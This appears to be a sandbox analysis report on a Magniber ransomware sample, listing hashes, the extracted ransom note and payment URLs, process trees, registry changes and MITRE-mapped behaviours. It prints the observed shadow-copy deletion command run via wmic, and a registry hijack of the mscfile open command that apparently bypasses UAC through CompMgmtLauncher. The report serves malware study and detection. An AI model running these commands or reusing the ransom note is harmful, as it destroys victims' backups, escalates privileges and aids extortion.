magniber | 10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e

Resubmissions

12-04-2023 09:01

230412-kzbvhsbb72 10

25-05-2022 10:14

220525-l9q8madfeq 10

Analysis

max time kernel
126s
max time network
137s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
12-04-2023 09:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e.dll
Size

21KB
MD5

a60c5212d52fe1488d2f82989a2947d2
SHA1

0a744d6c76902d28eb6687d66c18b0a354f29b9d
SHA256

10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e
SHA512

afd14daa5bd9448e09f25d561e8be34e16f93a2825129d165e817a4a2a3ffc339efefd6f26e78c4853acfbce7f51c88b81601324b123d8c377d72da15dcf9327
SSDEEP

384:WMtbZNqOHVeDM0CTotweWWGXWfW03AEXTGYDIvzwXDDAjwUF4U3N4R1H9zcKaYSN:WMtbDp1d0CTqwepGXWfPxGYIwTUV1d4g

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://a4c00850d2bc34900dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://a4c00850d2bc34900dihlxbl.uponmix.xyz/dihlxbl http://a4c00850d2bc34900dihlxbl.flysex.space/dihlxbl http://a4c00850d2bc34900dihlxbl.partscs.site/dihlxbl http://a4c00850d2bc34900dihlxbl.codehes.uno/dihlxbl Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://a4c00850d2bc34900dihlxbl.l5nmxg2syswnc6s3724evnip5uktj7msy3pgowkbcidbei3nbysi7ead.onion/dihlxbl

http://a4c00850d2bc34900dihlxbl.uponmix.xyz/dihlxbl

http://a4c00850d2bc34900dihlxbl.flysex.space/dihlxbl

http://a4c00850d2bc34900dihlxbl.partscs.site/dihlxbl

http://a4c00850d2bc34900dihlxbl.codehes.uno/dihlxbl

Signatures

Detect magniber ransomware 1 IoCs

resource	yara_rule
behavioral1/memory/2044-292-0x0000000002050000-0x0000000002054000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1400	1384	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	604	1384	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	896	1384	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	1384	cmd.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	1384	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	968	1384	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1740	1384	vssadmin.exe	44
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	268	1384	vssadmin.exe	44

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\GrantSelect.raw => C:\Users\Admin\Pictures\GrantSelect.raw.dihlxbl	taskhost.exe
File renamed	C:\Users\Admin\Pictures\StopOut.tif => C:\Users\Admin\Pictures\StopOut.tif.dihlxbl	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\UndoDebug.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UndoDebug.tiff => C:\Users\Admin\Pictures\UndoDebug.tiff.dihlxbl	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2044 set thread context of 1108	2044	rundll32.exe	17
PID 2044 set thread context of 1168	2044	rundll32.exe	16
PID 2044 set thread context of 1288	2044	rundll32.exe	15

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1432	vssadmin.exe
968	vssadmin.exe
1740	vssadmin.exe
268	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000074b2d77a8e7a944ea7c282b9066208cc00000000020000000000106600000001000020000000c93fc7c399ec59d2b8cd61987b3b748da83b936ea9e013350e080502ccfe46ac000000000e80000000020000200000003132ff5064618a235b8668dc29eb563fb5d931f230789ebe498f0f61d13017cc90000000dee76b815642e12790eaabf3a08ba07623cfa4a5159aba489e63b5d1464f72e6cfcba6679fcd0f142c0d6911ca48e032a23d4016ef9898030386b2a46562a374515f72965e6fa1bc39f509439cba1495157404bd2159644052ab88b5e7c60a0accb52032f70811cc74d1fb35baa953c0c47faf2d0e50270f052dfa73c6709b3e9763eb9705d6772e65ebf05c17ffa37c400000005bd5d604709b9325690d1dec81275c2f3df86afca763ad036050718e8085ad2b9966a03ea1ea4300e8f2104fa1cca80ea5cbfe35b2a48524714c16dca47678c3	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000074b2d77a8e7a944ea7c282b9066208cc00000000020000000000106600000001000020000000e678e83c6cc1aa3f05ecac0867908364a0a80e7242583e92f6514f9ac1dcf31e000000000e8000000002000020000000112383af9a6405c981f424145ae0f2c50d34b5b30f5bbddb81d7bb8e55f03c9620000000984fb76ee83133b8a3c2039171c90a7f9a23e14128268c15722e0344e2c6fed94000000047fa2e896168a61d5d95a889ecfb69223d46a8fea05994cbbc024221d381392dd026226235ddc5209fc6b1a6a2e51586d5d9b5cfd516ece5b16ec2542773b167	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D35EFFC1-D921-11ED-8986-C22C4A0458E6} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0b864ae2e6dd901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "388062457"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000_CLASSES\mscfile	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1648	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2044	rundll32.exe
2044	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1288	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1964	DllHost.exe
Token: SeSecurityPrivilege	1964	DllHost.exe
Token: SeTakeOwnershipPrivilege	1964	DllHost.exe
Token: SeLoadDriverPrivilege	1964	DllHost.exe
Token: SeSystemProfilePrivilege	1964	DllHost.exe
Token: SeSystemtimePrivilege	1964	DllHost.exe
Token: SeProfSingleProcessPrivilege	1964	DllHost.exe
Token: SeIncBasePriorityPrivilege	1964	DllHost.exe
Token: SeCreatePagefilePrivilege	1964	DllHost.exe
Token: SeBackupPrivilege	1964	DllHost.exe
Token: SeRestorePrivilege	1964	DllHost.exe
Token: SeShutdownPrivilege	1964	DllHost.exe
Token: SeDebugPrivilege	1964	DllHost.exe
Token: SeSystemEnvironmentPrivilege	1964	DllHost.exe
Token: SeRemoteShutdownPrivilege	1964	DllHost.exe
Token: SeUndockPrivilege	1964	DllHost.exe
Token: SeManageVolumePrivilege	1964	DllHost.exe
Token: 33	1964	DllHost.exe
Token: 34	1964	DllHost.exe
Token: 35	1964	DllHost.exe
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeShutdownPrivilege	1288	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1964	DllHost.exe
Token: SeSecurityPrivilege	1964	DllHost.exe
Token: SeTakeOwnershipPrivilege	1964	DllHost.exe
Token: SeLoadDriverPrivilege	1964	DllHost.exe
Token: SeSystemProfilePrivilege	1964	DllHost.exe
Token: SeSystemtimePrivilege	1964	DllHost.exe
Token: SeProfSingleProcessPrivilege	1964	DllHost.exe
Token: SeIncBasePriorityPrivilege	1964	DllHost.exe
Token: SeCreatePagefilePrivilege	1964	DllHost.exe
Token: SeBackupPrivilege	1964	DllHost.exe
Token: SeRestorePrivilege	1964	DllHost.exe
Token: SeShutdownPrivilege	1964	DllHost.exe
Token: SeDebugPrivilege	1964	DllHost.exe
Token: SeSystemEnvironmentPrivilege	1964	DllHost.exe
Token: SeRemoteShutdownPrivilege	1964	DllHost.exe
Token: SeUndockPrivilege	1964	DllHost.exe
Token: SeManageVolumePrivilege	1964	DllHost.exe
Token: 33	1964	DllHost.exe
Token: 34	1964	DllHost.exe
Token: 35	1964	DllHost.exe
Token: SeIncreaseQuotaPrivilege	1032	WMIC.exe
Token: SeSecurityPrivilege	1032	WMIC.exe
Token: SeTakeOwnershipPrivilege	1032	WMIC.exe
Token: SeLoadDriverPrivilege	1032	WMIC.exe
Token: SeSystemProfilePrivilege	1032	WMIC.exe
Token: SeSystemtimePrivilege	1032	WMIC.exe
Token: SeProfSingleProcessPrivilege	1032	WMIC.exe
Token: SeIncBasePriorityPrivilege	1032	WMIC.exe
Token: SeCreatePagefilePrivilege	1032	WMIC.exe
Token: SeBackupPrivilege	1032	WMIC.exe
Token: SeRestorePrivilege	1032	WMIC.exe
Token: SeShutdownPrivilege	1032	WMIC.exe
Token: SeDebugPrivilege	1032	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1032	WMIC.exe
Token: SeRemoteShutdownPrivilege	1032	WMIC.exe
Token: SeUndockPrivilege	1032	WMIC.exe
Token: SeManageVolumePrivilege	1032	WMIC.exe
Token: 33	1032	WMIC.exe
Token: 34	1032	WMIC.exe
Token: 35	1032	WMIC.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
676	iexplore.exe
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1648	notepad.exe

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE
1288	Explorer.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
676	iexplore.exe
676	iexplore.exe
1532	IEXPLORE.EXE
1532	IEXPLORE.EXE
1532	IEXPLORE.EXE
1532	IEXPLORE.EXE
1288	Explorer.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1288	Explorer.EXE
1288	Explorer.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 1648	1108	taskhost.exe	28
PID 1108 wrote to memory of 1648	1108	taskhost.exe	28
PID 1108 wrote to memory of 1648	1108	taskhost.exe	28
PID 1108 wrote to memory of 1248	1108	taskhost.exe	32
PID 1108 wrote to memory of 1248	1108	taskhost.exe	32
PID 1108 wrote to memory of 1248	1108	taskhost.exe	32
PID 1108 wrote to memory of 1776	1108	taskhost.exe	29
PID 1108 wrote to memory of 1776	1108	taskhost.exe	29
PID 1108 wrote to memory of 1776	1108	taskhost.exe	29
PID 1288 wrote to memory of 1516	1288	Explorer.EXE	31
PID 1288 wrote to memory of 1516	1288	Explorer.EXE	31
PID 1288 wrote to memory of 1516	1288	Explorer.EXE	31
PID 1168 wrote to memory of 1788	1168	Dwm.exe	30
PID 1168 wrote to memory of 1788	1168	Dwm.exe	30
PID 1168 wrote to memory of 1788	1168	Dwm.exe	30
PID 2044 wrote to memory of 1748	2044	rundll32.exe	33
PID 2044 wrote to memory of 1748	2044	rundll32.exe	33
PID 2044 wrote to memory of 1748	2044	rundll32.exe	33
PID 1788 wrote to memory of 1964	1788	cmd.exe	66
PID 1788 wrote to memory of 1964	1788	cmd.exe	66
PID 1788 wrote to memory of 1964	1788	cmd.exe	66
PID 1776 wrote to memory of 1032	1776	Process not Found	41
PID 1776 wrote to memory of 1032	1776	Process not Found	41
PID 1776 wrote to memory of 1032	1776	Process not Found	41
PID 1516 wrote to memory of 1340	1516	cmd.exe	43
PID 1516 wrote to memory of 1340	1516	cmd.exe	43
PID 1516 wrote to memory of 1340	1516	cmd.exe	43
PID 1748 wrote to memory of 1472	1748	Process not Found	42
PID 1748 wrote to memory of 1472	1748	Process not Found	42
PID 1748 wrote to memory of 1472	1748	Process not Found	42
PID 896 wrote to memory of 272	896	cmd.exe	53
PID 896 wrote to memory of 272	896	cmd.exe	53
PID 896 wrote to memory of 272	896	cmd.exe	53
PID 1400 wrote to memory of 1968	1400	cmd.exe	56
PID 1400 wrote to memory of 1968	1400	cmd.exe	56
PID 1400 wrote to memory of 1968	1400	cmd.exe	56
PID 604 wrote to memory of 904	604	vssvc.exe	55
PID 604 wrote to memory of 904	604	vssvc.exe	55
PID 604 wrote to memory of 904	604	vssvc.exe	55
PID 1528 wrote to memory of 1464	1528	cmd.exe	54
PID 1528 wrote to memory of 1464	1528	cmd.exe	54
PID 1528 wrote to memory of 1464	1528	cmd.exe	54
PID 1248 wrote to memory of 676	1248	Process not Found	57
PID 1248 wrote to memory of 676	1248	Process not Found	57
PID 1248 wrote to memory of 676	1248	Process not Found	57
PID 1968 wrote to memory of 552	1968	CompMgmtLauncher.exe	58
PID 1968 wrote to memory of 552	1968	CompMgmtLauncher.exe	58
PID 1968 wrote to memory of 552	1968	CompMgmtLauncher.exe	58
PID 272 wrote to memory of 1576	272	CompMgmtLauncher.exe	59
PID 272 wrote to memory of 1576	272	CompMgmtLauncher.exe	59
PID 272 wrote to memory of 1576	272	CompMgmtLauncher.exe	59
PID 1464 wrote to memory of 1160	1464	CompMgmtLauncher.exe	64
PID 1464 wrote to memory of 1160	1464	CompMgmtLauncher.exe	64
PID 1464 wrote to memory of 1160	1464	CompMgmtLauncher.exe	64
PID 904 wrote to memory of 1272	904	CompMgmtLauncher.exe	62
PID 904 wrote to memory of 1272	904	CompMgmtLauncher.exe	62
PID 904 wrote to memory of 1272	904	CompMgmtLauncher.exe	62
PID 676 wrote to memory of 1532	676	iexplore.exe	76
PID 676 wrote to memory of 1532	676	iexplore.exe	76
PID 676 wrote to memory of 1532	676	iexplore.exe	76
PID 676 wrote to memory of 1532	676	iexplore.exe	76

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\10b9b1d8f6bafd9bb57ccfb1da4a658f10207d566781fa5fb3c4394d283e860e.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:1748
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1472
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1340

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1964

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  - Suspicious use of FindShellTrayWindow
  PID:1648
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1776
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- C:\Windows\system32\cmd.exe
  cmd /c "start http://a4c00850d2bc34900dihlxbl.uponmix.xyz/dihlxbl^&1^&33583567^&72^&359^&12"
  2⤵
  PID:1248
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://a4c00850d2bc34900dihlxbl.uponmix.xyz/dihlxbl&1&33583567&72&359&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:676 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1532

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1400
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:552

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:604
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1272

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:896
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:272
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1576

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1160

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1432

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:968

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1740

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

